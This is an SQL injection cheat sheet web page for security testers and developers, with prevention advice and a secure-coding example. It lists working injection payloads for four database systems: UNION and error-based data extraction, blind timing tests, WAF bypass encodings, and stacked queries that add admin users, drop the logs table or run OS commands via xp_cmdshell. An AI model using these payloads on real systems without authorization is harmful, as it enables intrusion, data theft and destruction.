SQL Injection Cheat Sheet
A comprehensive reference for understanding SQL injection attacks across Oracle, MySQL, PostgreSQL, and Microsoft SQL Server. Essential for security professionals, developers, and penetration testers building defensive strategies.
⚠️ Important Security Notice
This cheat sheet is intended for defensive security purposes only. Use these techniques responsibly:
✅ Legitimate Uses
- Security testing on your own applications
- Authorized penetration testing
- Learning defensive security concepts
- Building secure coding practices
- Vulnerability assessment with permission
❌ Prohibited Uses
- Testing applications without authorization
- Attacking systems you don't own
- Unauthorized data extraction
- Malicious system compromise
- Any illegal activities
Legal Responsibility: You are solely responsible for ensuring your use of these techniques complies with applicable laws and regulations. Always obtain proper authorization before testing any system.
🔍 What is SQL Injection?
SQL Injection (SQLi) is a critical web application vulnerability that occurs when untrusted user input is directly concatenated into SQL queries without proper validation or parameterization. This allows attackers to manipulate SQL queries, potentially accessing, modifying, or deleting database contents.
🎯 Attack Types
- In-band: Results returned directly (Union, Error-based)
- Blind: No direct output (Boolean, Time-based)
- Out-of-band: Results via DNS/HTTP channels
- Second-order: Stored payloads triggered later
- NoSQL Injection: Similar attacks on NoSQL databases
💥 Potential Impact
- Data Breach: Unauthorized access to sensitive data
- Authentication Bypass: Login without credentials
- Data Manipulation: Modify or delete records
- System Compromise: Execute operating system commands
- Denial of Service: Crash or slow down applications
📊 OWASP Top 10
Current Status (2021):
- A03:2021 - Injection: Including SQL injection
- Merged with other injection types
- Still critical for web application security
Historical Impact:
- A1 in OWASP Top 10 (2007, 2010, 2013, 2017)
- Responsible for major data breaches
- Affects millions of applications worldwide
🛡️ Prevention Strategies
Primary Defenses:
- Parameterized Queries: Use prepared statements
- Stored Procedures: When properly implemented
- Input Validation: Whitelist approach
- Least Privilege: Minimal database permissions
Additional Defenses:
- WAF: Web Application Firewall
- Escaping: Character escaping (not recommended as sole defense)
- Monitoring: Runtime Application Self-Protection (RASP)
- Testing: Regular SAST/DAST scanning
🗄️ Database-Specific Considerations
Syntax Differences:
- String Concatenation: MySQL (CONCAT), Oracle (||), MSSQL (+)
- Comments: MySQL (#), Others (--)
- Subqueries: Oracle requires FROM DUAL
- System Tables: Each database has unique metadata schema
Feature Variations:
- Stacked Queries: Not all databases/configurations support
- Time Functions: SLEEP(), WAITFOR, pg_sleep(), dbms_pipe
- Error Handling: Different error verbosity levels
- Permissions: Varying privilege models
🔧 Testing Methodology
Basic SQL Injection Detection
DetectionSimple techniques to test for SQL injection vulnerabilities
Syntax:
Various payloads to test application response
Examples:
' OR '1'='1
Classic authentication bypass payload' OR '1'='1' --
With SQL comment to ignore rest of query' OR '1'='1' /*
Alternative comment syntaxadmin'--
Username with comment to bypass password checkNotes:
Use these only on applications you own or have permission to test
Error-Based Detection
DetectionPayloads that trigger database errors to reveal information
Syntax:
Inject malformed SQL to force error messages
Examples:
'
Single quote to test for unescaped input"
Double quote for different quote handling'; SELECT @@version--
Attempt to execute additional query' AND 1=CONVERT(int,@@version)--
Force type conversion error (MSSQL)Notes:
Error messages often reveal database type and structure information
UNION Attack - MySQL
Union-BasedMySQL-specific UNION injection techniques
Syntax:
' UNION SELECT column1,column2 FROM information_schema.tables--
Examples:
' UNION SELECT 1,2,3--
Determine number of columns' UNION SELECT NULL,@@version,NULL--
Extract MySQL version' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
List all tables' UNION SELECT column_name,data_type,NULL FROM information_schema.columns WHERE table_name='users'--
Extract column informationNotes:
MySQL uses @@version for version info and information_schema for metadata
UNION Attack - Oracle
Union-BasedOracle-specific UNION injection techniques
Syntax:
' UNION SELECT column1,column2 FROM dual--
Examples:
' UNION SELECT NULL,NULL FROM dual--
Oracle requires FROM clause (use dual)' UNION SELECT banner,NULL FROM v$version--
Extract Oracle version' UNION SELECT table_name,NULL FROM all_tables--
List accessible tables' UNION SELECT column_name,data_type FROM all_tab_columns WHERE table_name='USERS'--
Extract column metadataNotes:
Oracle requires FROM clause in all SELECT statements and uses different system tables
UNION Attack - Microsoft SQL Server
Union-BasedMSSQL-specific UNION injection techniques
Syntax:
' UNION SELECT column1,column2 FROM information_schema.tables--
Examples:
' UNION SELECT 1,@@version--
Extract MSSQL version' UNION SELECT name,NULL FROM sys.databases--
List all databases' UNION SELECT table_name,NULL FROM information_schema.tables--
List tables in current database' UNION SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'--
Extract column structureNotes:
MSSQL uses @@version and both sys schema and information_schema views
UNION Attack - PostgreSQL
Union-BasedPostgreSQL-specific UNION injection techniques
Syntax:
' UNION SELECT column1,column2 FROM information_schema.tables--
Examples:
' UNION SELECT version(),NULL--
Extract PostgreSQL version' UNION SELECT current_database(),current_user--
Get current database and user' UNION SELECT tablename,NULL FROM pg_tables--
List all tables using pg_tables' UNION SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'--
Extract column informationNotes:
PostgreSQL uses version() function and has both pg_* system tables and information_schema
Boolean Blind - MySQL
Boolean BlindMySQL boolean-based blind injection techniques
Syntax:
' AND (condition) --
Examples:
' AND 1=1--
True condition (page behaves normally)' AND 1=2--
False condition (page behaves differently)' AND (SELECT SUBSTRING(@@version,1,1))='5'--
Test if MySQL version starts with 5' AND (SELECT LENGTH(database()))>5--
Test database name lengthNotes:
Compare application responses between true and false conditions
Boolean Blind - Oracle
Boolean BlindOracle boolean-based blind injection techniques
Syntax:
' AND (condition) AND '1'='1
Examples:
' AND 1=1 AND 'x'='x
True condition for Oracle' AND 1=2 AND 'x'='x
False condition for Oracle' AND (SELECT SUBSTR(banner,1,1) FROM v$version WHERE ROWNUM=1)='O' AND 'x'='x
Test if Oracle version starts with O' AND LENGTH((SELECT SYS.DATABASE_NAME FROM DUAL))>5 AND 'x'='x
Test database name lengthNotes:
Oracle syntax often requires balanced quotes and different string functions
Time-Based Blind - MySQL
Time-Based BlindMySQL time-based blind injection techniques
Syntax:
' AND IF(condition,SLEEP(5),0)--
Examples:
'; SELECT SLEEP(5)--
Simple 5-second delay' AND IF(1=1,SLEEP(5),0)--
Conditional delay (true condition)' AND IF((SELECT SUBSTRING(@@version,1,1))='5',SLEEP(5),0)--
Delay if MySQL version starts with 5' UNION SELECT IF(1=1,SLEEP(5),0),NULL--
UNION-based time delayNotes:
SLEEP() function causes measurable delays in MySQL responses
Time-Based Blind - Microsoft SQL
Time-Based BlindMSSQL time-based blind injection techniques
Syntax:
'; IF (condition) WAITFOR DELAY '0:0:5'--
Examples:
'; WAITFOR DELAY '0:0:5'--
Simple 5-second delay'; IF (1=1) WAITFOR DELAY '0:0:5'--
Conditional delay (true condition)'; IF ((SELECT SUBSTRING(@@version,1,1))='M') WAITFOR DELAY '0:0:5'--
Delay if MSSQL version starts with M' AND 1=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3)--
Heavy query-based delay (alternative)Notes:
WAITFOR DELAY is the primary time delay function in MSSQL
Time-Based Blind - PostgreSQL
Time-Based BlindPostgreSQL time-based blind injection techniques
Syntax:
'; SELECT pg_sleep(5)--
Examples:
'; SELECT pg_sleep(5)--
Simple 5-second delay' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)::text='0'--
Conditional delay using CASE'; SELECT CASE WHEN (SELECT version())~'PostgreSQL' THEN pg_sleep(5) ELSE pg_sleep(0) END--
Delay if PostgreSQL detectedNotes:
pg_sleep() is PostgreSQL's sleep function, CASE statements useful for conditionals
Time-Based Blind - Oracle
Time-Based BlindOracle time-based blind injection techniques
Syntax:
' AND (SELECT COUNT(*) FROM all_users t1,all_users t2)>0--
Examples:
' AND dbms_pipe.receive_message(('a'),5)>0--
Use dbms_pipe for 5-second delay' AND (SELECT COUNT(*) FROM all_users t1,all_users t2,all_users t3)>0--
Heavy cartesian product for delay' AND (SELECT CASE WHEN (1=1) THEN 'a'||dbms_pipe.receive_message('a',5) ELSE NULL END FROM dual)>0--
Conditional delay with CASENotes:
Oracle doesn't have a direct sleep function, use dbms_pipe or heavy queries
Error-Based Extraction - MySQL
Error-BasedExtract data through MySQL error messages
Syntax:
' AND extractvalue(1,concat(0x7e,(SELECT data),0x7e))--
Examples:
' AND extractvalue(1,concat(0x7e,@@version,0x7e))--
Extract MySQL version via error' AND extractvalue(1,concat(0x7e,database(),0x7e))--
Extract current database name' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 1),0x7e))--
Extract first table name' AND updatexml(null,concat(0x7e,@@version,0x7e),null)--
Alternative using updatexml functionNotes:
extractvalue() and updatexml() functions generate errors that include data
Error-Based Extraction - MSSQL
Error-BasedExtract data through MSSQL error messages
Syntax:
' AND 1=CONVERT(int,@@version)--
Examples:
' AND 1=CONVERT(int,@@version)--
Force conversion error with version' AND 1=CONVERT(int,db_name())--
Extract database name via conversion error' AND 1=CONVERT(int,(SELECT name FROM sys.databases WHERE database_id=1))--
Extract master database name' UNION SELECT 1,2,3 WHERE 1=CONVERT(int,@@version)--
UNION with conversion errorNotes:
CONVERT() type conversion errors reveal data in MSSQL error messages
Stacked Queries
Stacked QueriesExecute multiple SQL statements in sequence
Syntax:
'; statement1; statement2--
Examples:
'; INSERT INTO users (username,password) VALUES ('hacker','pass123')--
Add new user account'; UPDATE users SET password='newpass' WHERE username='admin'--
Change admin password'; DROP TABLE logs--
Delete audit log table'; EXEC xp_cmdshell('whoami')--
Execute system command (MSSQL)Notes:
Not all databases/configurations support stacked queries. High-risk operations!
Second-Order Injection
Second-OrderInjection that triggers when stored data is used unsafely later
Syntax:
Payload stored initially, triggered in subsequent operations
Examples:
admin'--
Username that breaks queries when used in WHERE clauses'; UPDATE users SET role='admin' WHERE username='[USER_INPUT]'--
Payload for profile update scenariostest'; DROP TABLE logs; --
Destructive payload for log processing<script>alert('XSS')</script>
Combined with stored XSS for complex attacksNotes:
Harder to detect as payload and execution are separated in time
Database Fingerprinting
FingerprintingTechniques to identify the database management system
Syntax:
Various database-specific queries and functions
Examples:
' AND @@version LIKE '%MySQL%'--
Detect MySQL using @@version' AND (SELECT COUNT(*) FROM information_schema.tables)>0--
Test for information_schema support' AND (SELECT COUNT(*) FROM v$version)>0--
Test for Oracle v$version table' AND LEN('a')=1--
Test for MSSQL LEN() function vs LENGTH()Notes:
Each database has unique functions, tables, and syntax patterns
WAF Bypass Techniques
WAF BypassMethods to bypass Web Application Firewalls
Syntax:
Various encoding and obfuscation techniques
Examples:
' /**/OR/**/1=1--
Use comments to break up keywords' %09OR%091=1--
Tab character encoding' OR 'x'='x
Alternative to OR 1=1'; %53ELECT * FROM users--
URL encoding of SELECT keywordNotes:
WAF bypass techniques for educational and testing purposes only
SQL Injection Prevention
Primary Defenses
- Use
parameterized queries
(prepared statements) - Implement
stored procedures
with proper input handling - Apply
input validation
with whitelist approach - Follow
least privilege principle
for database accounts - Use
ORM frameworks
that prevent injection - Implement
output encoding
for user-controlled data
Detection & Monitoring
- Deploy
Web Application Firewalls (WAF)
- Implement
database activity monitoring
- Use
runtime application protection (RASP)
- Regular
vulnerability scanning
and penetration testing - Monitor for
suspicious query patterns
- Implement
error handling
that doesn't reveal database structure
Secure Code Example
// ✅ SECURE - Using parameterized query String query = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement stmt = connection.prepareStatement(query); stmt.setString(1, username); stmt.setString(2, password);
// ❌ VULNERABLE - String concatenation String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";